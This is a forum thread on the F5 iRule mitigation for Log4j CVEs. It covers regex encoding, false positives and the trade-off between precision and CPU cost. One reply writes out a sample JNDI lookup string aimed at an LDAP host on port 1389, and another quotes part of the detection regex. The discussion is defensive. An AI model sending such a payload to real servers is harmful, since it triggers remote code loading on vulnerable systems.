Forum Discussion

CarloMun's avatar
CarloMun
Icon for Nimbostratus rankNimbostratus
Dec 19, 2021

Log4j iRule mitigation as described in K59329043 - which encoding is the regex using ?

Hi Community,   just for my understanding - can someone please clarify which encoding is being used in the regex with F5 release under K59329043 in order to mitigate log4j CVEs exploits ?   I...
announcement
iRules
LTM
Daniel_Wolf's avatar
Daniel_Wolf
Icon for MVP rankMVP

The idea here is that, when you encounter a string that starts with ${j the rest of the string is most likely going to be ndi:ldap:/55.55.55.55:1389/Exploit}.

 

If you remember previous versions of this iRule, F5 was always offering two or three different regexes. More or less permissive. The more characters you inspect, the more permissive the iRule will be. You could also say you will have less false positive.

On the other hand - the more characters you inspect, the more CPU cycles are used. Matching regex is expensive on the CPU. So it's a trade-off between preciseness and performance.

 

KR

Daniel

CarloMun's avatar
CarloMun
Icon for Nimbostratus rankNimbostratus
Dec 20, 2021

Hi  

 

thank you for clarifying the trade off idea behind.

 

What I'm still missing here is the encoding part used when performing the Regex comparison - as mentioned in the initial post, I'm seeing some false positives within the application payload. This forced me to manually add some whitelisting within the originally provided iRule.

 

I've attempted to dump the payload as collected by the "HTTP_REQUEST_DATA" event and have it checked against the reference regex (tcl based regex checking - using the f5 built-in tclsh interpreter for ex.) in order to better understand what is exactly matching the Regex - yet I'm seeing no matches.

 

So clearly I'm missing out on the encoding part.

 

Can you perhaps also advice on this ?

 

Thank you and Best Regards

  • Daniel_Wolf's avatar
    Daniel_Wolf
    Icon for MVP rankMVP
    Dec 20, 2021

    Hi ,

     

    looking only at this part (\$|\\+(0?44|([u0]00|x)24)) 

    I can recognise the literal $.

    The octal of $, which ist 44.

    The hexadecimal of $, which is 24.

    And some more characters in between.

     

    And I would not claim that I am good at reading regex... Someone more savvy can for sure explain you in more details.

     

    KR

    Daniel

  • CarloMun's avatar
    CarloMun
    Icon for Nimbostratus rankNimbostratus
    Dec 20, 2021

    Hi  

     

    thank you for your feedback. So basically the regex is trying to match across multiple encodings at the same time - right ?

     

    Best Regards

  • Daniel_Wolf's avatar
    Daniel_Wolf
    Icon for MVP rankMVP
    Dec 20, 2021

    Yes, , that pretty much sums it up.